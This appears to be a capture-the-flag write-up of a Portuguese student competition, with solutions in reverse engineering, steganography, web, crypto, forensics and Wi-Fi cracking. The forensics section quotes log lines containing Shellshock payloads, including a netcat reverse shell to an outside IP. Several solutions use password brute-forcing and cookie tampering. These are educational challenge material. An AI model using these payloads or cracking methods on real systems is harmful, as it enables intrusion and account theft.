This year the Computer Emergency Response Team (CERT) of the RCTS – The Science, Technology and Society Network – also known as NREN (National Research and Education Network), part of the FCCN (Foundation for National Scientific Computing) of the Portuguese Foundation for Science and Technology (FCT), organized for the first time a Capture The Flag competition targetting students from Portugal at different scholar degrees. The competition consisted of 21 challenges belonging to 7 different categories, namely: Reverse (5), Steganography (3), Web (3), Crypto (3), Forensics (4), Misc (2) and Wifi (1).
The scoreboard by the end of the competition was the following:
The challenges were solved with @0xz3z4d45, which was the team MVP! Kudos.
So let’s get to the challenges, per category. All the text was translated from Portuguese in a best-effort fashion.
Index
Reverse
reverse-100 (100 pts)
The file in annexe contains a code block in JavaScript. Use that to find the Flag.
Taking the file and spreading around some console.log
, especially in the for
loops that construct the strings from chars
(String.fromCharCode
), we could find the flag.
if (aaawwwyyyyy == "tjjjjeee883883jhnjnsmdnmansmndasdyasyds767styduyashbdhbasndb asnbdhasdhasghgd jhasjhjhjdhjas jsdhasjhdjasdha hdjashdjashdsdddddueyu3y4y343434234bebb ") {
z = 0;
for (; z < ty000022r.length; z++) {
cyuu = cyuu + String.fromCharCode(ty000022r[z]);
}
console.log(cyuu);
}
Result:
Congrats!You reached the flag.flag{th1s_is_c0d3_obfustati0n}
reverse-200 (200 pts)
The flag is given by the execution of the binary reverse-200. Find the passwords to solve the challenge.
In this challenge the binary reverse-200
was given, that asked for a total of 4 passwords. We present two different approaches to solve this challenge.
GDB
Since the passwords are compared with our input using strcmp
instructions, we can change the return value and bypass all the verifications.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
b *main+345
start
c
set $eax=0
b *main+440
c
set $eax=0
b *main+511
c
set $eax=0
b *main+582
c
set $eax=0
c
Saving this as script_reverse200
and executing it using GDB would give us the flag.
$ echo -e "\n\n\n\n" | gdb ./reverse-200 -x script_reverse200
Binary static analysis
Opening the binary file in Ghidra (or any other RE tool) will show several print
statements with “peculiar” strings, namely: r3v3rs3
, il0v3c0de
, almostthere
and hacktheplanet
. Those strings seemed suspicious enough to be the password values, so we tried them. After several tries (swapping the order of input), we finally break the code.
$ ./reverse200
"Enter the first password" -> r3v3rs3
"Enter the second password" -> il0v3c0de
"Half-way there, enter the third password" -> almostthere
"Enter the last password"-> hacktheplanet
"Congrats, challenge solved!"
"flag{I_L0v3_C}"
reverse-300 (300 pts)
The file contains a JavaScript code block. Use it to find the Flag.
After pasting the code in the browser console and execute it we get the message: Working as expected! A secret has been created!!
.
Opening the debug window we get the deofuscated code:
1
2
3
4
5
6
function hideflag(){
var Flag="flag{Th1s_0ne_is_confusing}";
console.log("Working as exepected!A secret has been created!!");
}
hideflag();
reverse-400 (400 pts)
Find out the output that is generated by the _puts function.
Contents of the Let_look_at_the_code.txt
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
_main proc near
var_18 = byte ptr -18h
var_10 = word ptr -10h
var_8 = qword ptr -8
push rbp
mov rbp, rsp
sub rsp, 20h
mov rax, 373073EAFD76FDEAh
mov qword ptr [rbp+var_18], rax
mov [rbp+var_10], 3Eh
mov word ptr [rbp+var_18], 6572h
mov word ptr [rbp+var_18+3], 7265h
mov word ptr [rbp+var_18+6], 6E69h
mov byte ptr [rbp+var_10], 67h
lea rdi, [rbp+var_18]
call _puts
xor eax, eax
add rsp, 20h
pop rbp
retn
_main endp*
By analyzing the code, we found that our “string” to be printed is pointed out by rbp+var_18
. And although we can’t be sure of all the operations, we can map the several mov
instructions by their difference to the base var_18
value.
OP | rbp-18 | rbp-16 | rbp-14 | rbp-12 | rbp-10 | rbp-8 | rbp-6 | rbp-4 | rbp-2 | rbp |
---|---|---|---|---|---|---|---|---|---|---|
mov word ptr [rbp+var_18], 6572h | 65 72 | |||||||||
mov word ptr [rbp+var_18+3], 7265h | – 72 | 65 – | ||||||||
mov word ptr [rbp+var_18+6], 6E69h | 69 6E | |||||||||
mov byte ptr [rbp+var_10], 67h | 67 | |||||||||
Parse to Little Endian (LE) | 72 65 | – 65 | 72 – | 6E 69 | 67 | |||||
To ASCII | r e | * e | r * | i n | g |
After guessing the values of the asterisks, we found out that the flag was reversing.
reverse-500 (500 pts)
Find the flag in the ELF file.
Executing the file and messing around with the input leads us towards a segmentation fault, which points to a buffer overflow vulnerability. We present two different approaches to solve this challenge.
First, we could find the function get_the_flag()
by just greping the strings of the binary:
$ strings reverse500 | grep flag
ns, conseguiste resolver este desafio,a flag do desafio
WARNING: Unsupported flag value(s) of 0x%x in DT_FLAGS_1.
s->_flags2 & _IO_FLAGS2_FORTIFY
version == NULL || (flags & ~(DL_LOOKUP_ADD_DEPENDENCY | DL_LOOKUP_GSCOPE_LOCK)) == 0
imap->l_type == lt_loaded && (imap->l_flags_1 & DF_1_NODELETE) == 0
get_the_flag
_dl_x86_hwcap_flags
_dl_stack_flags
_dl_x86_cap_flags
GDB
Solving this challenge using GDB, we could just call the get_the_flag()
function using the following GDB script:
start
call (void) get_the_flag()
And calling the binary:
$ gdb reverse500 -x script_reverse500
We immediately get the flag: flag{ROP_TO_GET_THE_FLAG}
Binary Static Analysis
Opening the binary file in Ghidra (or any other RE tool), we found a series of direct values being mov
ed. By converting those, we get the flag directly.
The flag is flag{ROP_TO_GET_THE_FLAG}.
By the flag content (ROP) and the possible buffer overflow, we conclude that we could jump to the get_the_flag()
function by overflowing the function address pointer. However, we didn’t need to exploit in such a way to get the flag.
Steganography
stega-100 (100 pts)
Find the flag in the
rctscert.txt
file.
The rctscert.txt
file is a simple plain text file which seemed inauspicious at the start. However, after looking closer, we found that several letters were at UPPERCASE in the middle of the text. Putting together such letters together lead us to USECODETOPARSE
string which was the flag.
stega-200 (200 pts)
Find the flag in the file
rctscert.jpg
.
Running the typical stegno tools in the file did not output any useful information. However, typically, JPG files are used to hide secrets with the steghide tool. Since we had no password for the file (and empty password would not give anything), we jumped to brute force. Using the tool stegcrack and the rockyou dictionary (one of the most common dictionaries used in CTFs), we quickly found out the password:
$ stegcracker rctscert.jpg rockyou.txt
StegCracker 2.0.9 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2020 - Luke Paris (Paradoxis)
Counting lines in wordlist..
Attacking file 'rctscert.jpg' with wordlist '/mnt/c/Tools/rockyou.txt'..
Successfully cracked file with password: honeybun
Tried 5884 passwords
Your file has been written to: rctscert.jpg.out
honeybun
took 53s
$ cat rctscert.jpg.out
flag{l3ts_pl@y_w1th_p1cs}
stega-300 (300 pts)
Find the flag in the file
steganography-300.jpg
.
This one was more tricky than the last one. binwalk
pointed us to an embedded ZIP archive in the file. However, it just showed us the end of it, making it hard to just extract it from the image.
$ binwalk -e steganography-300.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
30 0x1E TIFF image data, big-endian, offset of first image directory: 8
2197933 0x2189AD End of Zip archive, footer length: 22
After some time and playing with several tools, stegoveritas was the key to solve the challenge. After running this tool, we get a lot of outputs, including metadata information, analysis under different colour maps and so on. One of the curious outputs was the traillingbits.bin
, resulting from the tool analysis on the “trailing data of the given file”.
After hexdump
the first lines of the bin file:
0000000 4bff 0403 0014 0000 0008 7d0f 4f38 aad8
The first bytes seemed like known Magic Bytes. Searching for the Zip hex signature, we could clearly see the proximity between the two. Fixing the header would give us a valid Zip (ff
to 50
).
0000000 4b50 0403 0014 0000 0008 7d0f 4f38 aad8
Extracting the Zip contents gave us a WAV file, sec_msg.wav
. Opening it in a tool such Audacity in Spectrogram view would provide us with the flag.
flag{ob@maISb@ck}
Web
webhack-100 (100 pts)
An address was given to an webpage with the following code:
<form action="" method="post">
<label>Password :</label>
<input id="password" name="password" placeholder=" **********" type="password">
<input name="submit" type="submit" value="Login">
<!--f93fc10472a31bb3061aa0b45e228c5a-->
</form>
The hash in the comment was a known MD5 hash. After searching it, we found out that the value was strongpassword
. Using it as password, we got the flag:
Congrats
You just solved the challenge.
The flag is: flag{MD5_H@ASH3D_P@SSW0RDS_ARE_W3@K}
webhack-200 (200 pts)
A webpage was given with a login form. The following credentials were provided:
user: user1password: p@ssw0rd
We could log in immediately, but there was a part of the page that was only visible to admin users (user1 was not an admin).
After looking at the cookies of the website, we could see that there was a privileges
key.
Taking the value, URL decoding it would give us a base64 string, which plain text value was admin=0
. Crafting a new cookie value with the admin=1
content would give us admin powers (since there was no server-side validation), so we could get to the flag.
Congrats
You just solved the challenge.
The flag is: flag{C00KIES_AR3_B@D_F0R_P3RMISSI0NS}
webhack-300 (300 pts)
The give website runs the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function checkpassword($user_supplied_password,$systempass){
$login_password_length=strlen($systempass);
$supplied_password_len=strlen($user_supplied_password);
if($supplied_password_len!=0){
for($i=0;$i<$supplied_password_len;$i++){
if($i<$login_password_length) #Validar se a password do utilizador nao é maior que a password do sistema
{
if($user_supplied_password[$i]!=$systempass[$i]){
echo $GLOBALS['wrongpass']; #Mensagem de erro "palavra pass errada"
break;
}else
{
if($i==($login_password_length-1))
echo $GLOBALS['flaganswer']; #Chegou ao fim da string e os caractares estao todos certos
}
}else
{
echo $GLOBALS['wrongpass'];
break;
}
}
#Mensagem de erro "palavra pass errada" - nao foi introduzido palavra passe
}else echo $GLOBALS['wrongpass'];
}
By analyzing the code we could see that the password was verified char by char, and after experimenting a bit, we see that if we get the char right, the response was different from a wrong char (the page returned a Password wrong!!
message in the wrong case or an empty response in the right case).
Using Burp Intruder feature, we could just send chars and then order by the response length to get the password.
The password was BAD22757B321. After entering it, we were given the flag:
flag{VULN3R@BLEP@SSW0RD_CH3CK3R}
Crypto
crypto-100 (100 pts)
Find the Flag by deciphering the following text:
N erfcbfgn nb qrfnsvb é synt{E0G13$@%%}
This seemed to be a ROT cypher. Using CyberChef, we found out that this was indeed a ROT13 cypher.
The solution was: A resposta ao desafio é flag{R0T13$@%%} (The challenge answer is flag{R0T13$@%%}).
crypto-200 (200 pts)
Consider the following phrase: The root password is “passroot”!
This phrase has the following hexadecimal representation after being ciphered:
a4c1603c82c66a68d0d9646f83de6a6e94896c6fd08b757d83da77739fdd273d
Decipher the following message:
a0c8777d92406b6fd1880f5dd0db606f80c676689189643c95da7179d0cd606f91cf6c73d040257a9cc86267a8995743b49a464ea9f95155c0e72138d58c455c8d
This seemed like an XOR cypher. Using the unxor tool and with a little bit of guessing around plain-text parts (passroot
was one example) we could get the plain-text:
$ python unxor.py download1.dat -g passroot
The root password is "passroot"! Parabéns!!
A resposta a este desafio é flag{X0R_D3CRYPTI0N$$%%@@}
Translation: Congrats! The answer to the challenge is flag{X0R_D3CRYPTI0N$$%%@@}.
crypto-300 (300 pts)
The file
public.pem
is a public key of an RSA certificate. Find the private key and decipher the filectf_secret.enc
.
This challenge called for the use of the RsaCtfTool.
Running it:
$ python3 RsaCtfTool.py --publickey public.pem --private
[*] Testing key public.pem.
[*] Performing pollard_p_1 attack on public.pem.
[*] Performing fermat attack on public.pem.
[*] Performing factordb attack on public.pem.
Results for public.pem:
Private key :
After having the private key is time for OpenSSL.
$ openssl rsautl -decrypt -in ctf_secret.enc -out out.txt -inkey key.pk
And the flag is: flag{lets_decrypt_with_w3@k_R5@_k3y}
Forensics
forensics-50 (50 pts)
We were given an OVA (Open Virtual Appliance) file, which was virtual machine. Changing the bootloader with init=/bin/bash
gave us a root shell.
Booting the machine, and checking the bash history we got the flag.
forensics-100 (100 pts)
The following file comes from an Apache server which was compromised. It is known that the attack was an RCE (remote code execution) and it was carried over the Apache service.
Find the pieces of evidence of the attack in the log file and submit the flag using the following structure: flag{_}.
Since it was a RCE vulnerability, the first search was for a reference to something like /bin/bash
. The following appered:
195.169.55.85 - - [22/Jan/2018:10:34:00 +0100] "GET /cgi-bin/testing.cgi HTTP/1.0" 200 1 "-" "() { :;}; /bin/bash -c 'ping -c 3 191.252.134.38; id'"
195.169.55.85 - - [22/Jan/2018:10:35:12 +0100] "GET /cgi-bin/testing.cgi HTTP/1.0" 200 1 "-" "() { :;}; /bin/bash -c 'nc 191.252.134.38 4444 -e /bin/sh'"
The flag was: flag{195.169.55.85_shellshock}
forensics-200 (200 pts)
Someone lost its pen drive at the university five days ago. This pen drive was picked by a hacker that, besides keeping the pen for themself, also broke into the person PayPal account and stole their funds.
This was unexpected since the person used strong passwords. Look at the content of the pen drive (zip file) and find out the password. The flag has the format {secret}.
The pen drive had a Firefox portable application in it. Opening this app and look at the Saved Logins
we could get the email and password of the aforementioned person.
The flag was: {use_keypass_instead}.
forensics-250 (250 pts)
They said that OpenBSD is a secure operating system. Someone tried to use it, thinking that even weak passwords are safe inside of it. The same person was listening to the “we will Rock You” hit while working. The Flag has the format flag{flag}.
We were given an OVA of a BSD machine. We could bypass the password protection by boot into single user mode
at boot time (feature intended to password recovery ), and gain access to a root shell. Exploring the machine, we could find two interesting files:
-
/etc/master.passwd
(same as Unix/etc/shadow
) /root/ctf.kdb
And we swapped (backup first) the root password using the recovery instructions (passwd
).
We then used SSH to exfill the ctf.kdb
file from the machine. Having the file, we proceed to convert it using John the ripper utility tool keepass2john
.
$ keepass2john ctf.kdb > Keepasshash.txt
This allows us to brute-force the keypass password hash.
$ john --wordlist=rockyou.txt KeepassHash.txt
After bruteforcing the keypass
file with the rockyou dictionary, we found out that the password was 281594elliot
and the flag was now accessible: flag{keePassIsKewl}.
Misc
misc-100 (100 pts)
Find the flag in the following file:
The file has only squares with different colors. Analysing the HTML code something interesting, there was a pattern. id=nXX
and background:#0000XX
, where the XX values correspond to the following:
[11, 6b],[29, 48],[26, 56],[17, 56],[08, 61],[20, 5a],[06, 74],[09, 57],[14, 52],[04, 5a],[27, 66],[24, 62],[23, 6b],[10, 35],[15, 6f],[01, 6d],[16, 5a],[03, 68],[13, 33],[00, 5a],[02, 78],[05, 33],[12, 58],[31, 3d],[28, 51],[19, 75],[22, 56],[18, 39],[30, 30],[21, 57],[07, 6d],[25, 47]
Using CyberChef to sort the values by ID, convert the resulting ordered hex values (colors) to chars, and finally convert it from base64 to plain-text we get the flag: flag{find_the_needle_@}
misc-200 (200 pts)
Find the flag in the following file: flag.zip.
Using a zip cracker script (e.g. zipcracker.py) and using the rockyou dictionary we find out that the password was josh123
.
Inside the zip was a text file which content was the flag: flag{br3@k_th3_z1P}.
Wifi
wifi-200
The following file contains data from a Wireless network. The MAC address of the Access Point is D0:FF:98:19:1F:33. The data comprises information about IVs of the 4-Way-Handshake between the AP clients and the AP. Find out the Wireless network password knowing that it uses WPA2.
Using aircrack-ng along with the rockyou dictionary we can crack the password.
$ aircrack-ng wifi_capture-01.cap -w rockyou.txt
The password (and flag) was allmines
.
Wrap-up!
This was a challenging set of exercises that encompass several areas of security (at different levels of realism). Kudos for the CERT of the RCTS/FCCN for putting this up, and expect to see more competitions like this in the future!
Some other write-ups of these challenges around the web:
Top comments (0)